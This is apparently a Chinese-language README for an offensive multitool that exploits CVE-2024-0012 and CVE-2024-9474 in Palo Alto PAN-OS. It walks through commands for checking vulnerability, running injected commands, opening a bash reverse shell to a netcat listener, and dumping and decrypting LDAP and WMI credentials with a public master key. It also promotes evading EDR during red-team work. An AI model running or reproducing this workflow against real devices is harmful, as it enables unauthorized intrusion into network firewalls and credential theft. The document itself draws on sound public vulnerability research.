针对受 CVE-2024-0012 和 CVE-2024-9474 影响的 Palo Alto PAN-OS 系统的利用和后利用多功能工具
在早期利用 CVE-2024-0012 和 CVE-2024-9474 的远程代码执行漏洞时,我获取了一个 shell 并开始识别配置文件,发现其中各个密码字段包含奇怪的字符串。由于这些显然不是常见的哈希格式,我和团队开始调查,并迅速在 ThreatLabs 网站上发现了一份安全公告,其中提到 PAN-OS 凭据默认使用公开已知的主密钥进行加密(或者曾经如此?)。虽然可以在设备配置中更改此主密钥,但我发现,在我遇到这些漏洞的每个实例中,都使用了默认主密钥。通过设计此工具,我的目标是构建一种简单的方法来利用这些漏洞,执行后利用和凭据收集,甚至完全通过加密的 HTTPS 流量检索明文凭据,无需可能被网络和流量监控解决方案检测到的持久连接。
目前支持自动检索和解密 LDAP 和 WMI 凭据,尽管我见过极少数情况,其中秘密字符串在配置文件中使用非标准 XML 字段名进行加密。目前正在努力识别这些独特情况的原因,以便确保完全支持。请注意,此工具仍在开发中。
在使用前,请确保所有必要的依赖项都已安装,使用类似以下命令:
pip3 install -r requirements.txt
"check" 命令允许您检查远程目标是否容易受到 CVE-2024-0012 的攻击。当通过 IP 地址定位远程主机时,请务必使用 --no-verify 参数。示例:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

"command" 命令允许您利用远程目标上的 CVE-2024-0012 和 CVE-2024-9474,执行手动提供的命令,并通过 Web 界面检索结果。与 dump 和 shell 命令类似,提供的命令被分割成足够小的片段,以适合 CVE-2024-9474 的命令注入漏洞,写入到可写目录(默认为 /var/tmp/)中的临时 shell 文件中,然后在目标上执行。输出被写入 /var/appweb/htdocs{remote_dir} 下的临时 PHP 文件,通过 HTTPS 检索,打印到控制台,并自动清理,除非提供了 --no-cleanup 参数。再次提醒,必要时别忘了 --no-verify。
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
可选的 --silentcommand 标志使用与上述相同的分块和注入方法执行提供的命令,但不会将输出重定向到 Web 可访问的文件或发出任何检索请求。这对于无需输出的即发即忘操作非常有用,或者当尽量减少目标上创建的 Web 请求和文件数量时。由于没有输出文件写入 Web 路径,清理仅从可写目录中删除临时负载分块文件 — 没有需要清理的输出 .php 文件。
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
"shell" 命令允许您利用远程目标上的 CVE-2024-0012 和 CVE-2024-9474,在远程主机上接收一个反向 shell。基本上,此命令创建一个标准的 bash 反向 shell 负载,对其进行 base64 编码,将 base64 编码的块分割成足够小的段以适合 CVE-2024-9474 的命令注入漏洞,然后执行命令将每个块 echo 到可写目录(默认为 /var/tmp/)中的文件中。一旦这些块完全存储,它们被合并成单个 shell 文件,然后在主机上执行,这应该会连接回一个单独的 netcat 监听器(nc -nvlp {PORT})。
请注意,目前由持久反向 shell 连接引起的超时会阻止文件清理,因此您需要记下工具执行开始时打印的随机文件名,并从 {writable_dir} 和 /var/appweb/htdocs{remote_dir} 位置清理它。我将在下一个版本中修复此问题,但尚未处理。再次提醒,必要时别忘了 --no-verify。
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

这是我项目的主要目标,也是我构建此工具的主要原因。由于大多数有关这些漏洞的 writeup 和工具都与远程代码执行相关,我发现很少有人详细描述此后的有用后利用步骤。使用 dump 命令,您不仅可以远程检索和解密凭据,还可以完全通过少量加密的(HTTPS)Web 请求来完成此操作,无需任何持久连接。由于 PAN-OS 设备上极不可能有任何类型的 EDR/MDR/IDR/XDR/?DR 解决方案,这在红队行动中尤其有效。
dump 命令遵循与 shell 命令类似的分块和执行方法,但不是启动反向 shell,而是从设备的配置文件(位于 /opt/pancfg/mgmt/saved-configs/)中检索加密凭据,然后使用公开已知的主密钥自动解密识别出的密码。dump 命令还将在解密结束时清理所有创建的文件,除非您包含 --no-cleanup 参数。一如既往,必要时别忘了 --no-verify。
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
此外,我还添加了一个可选的 --full-running-config 参数,可用于检索当前运行配置文件的整个 XML 内容并将其保存到本地文件。保存的文件使用格式 running-config.{TARGET}.{TIMESTAMP}.xml 命名(例如 running-config.192.168.1.1.20260516_143022.xml),其中时间戳反映检索时间。这可以防止在多次定位同一设备时覆盖先前的配置转储。虽然我建议在此之外进行检查,因为我见过几次先前/其他配置文件包含唯一加密凭据的实例,但这可能是检查任何可能未自动捕获和解密的额外凭据的好方法。此外,您可以使用 Local 命令(下文详述)对任何本地 XML 配置文件执行本地处理。
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
local 命令非常基本,其主要用例是当您检索到完整的 XML 配置文件(例如使用 dump 命令的 --full-running-config 参数)时,或者您已经获得 PAN-OS 设备的 shell 并复制或打印了设备上 XML 配置文件(位于 /opt/pancfg/mgmt/saved-configs/)的内容。它将执行相同的逻辑并自动解密凭据,但来自提供的本地文件。支持所有加密凭据类型,包括 LDAP 和 WMI 凭据,跨任何 XML 标签名称。
python3 PanOsExploitMultitool.py local -f {FILE}

最后,decrypt 命令允许您使用公开主密钥解密原始字符串。这在独特场景下有用,例如当在过去的配置文件中识别出加密凭据字符串但之前没有用户名,或者当您想手动验证通过另一种方法提取的凭据字符串时。这些字符串可以直接输入到终端,并且可以接受完整的 -AQ..........== 格式,或仅最后的 base64 编码块。
python3 PanOsExploitMultitool.py decrypt

请参阅以下用于本项目研究和开发的 writeup、模块和公告。
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474",WatchTowr Labs:https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb",Stephen Fewer @ Rapid7:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"公告 - PAN-OS - AES256-CBC & SHA1",Threatlabs:https://threatlabs.eu/advisories/TL23-PA-SSTWMX/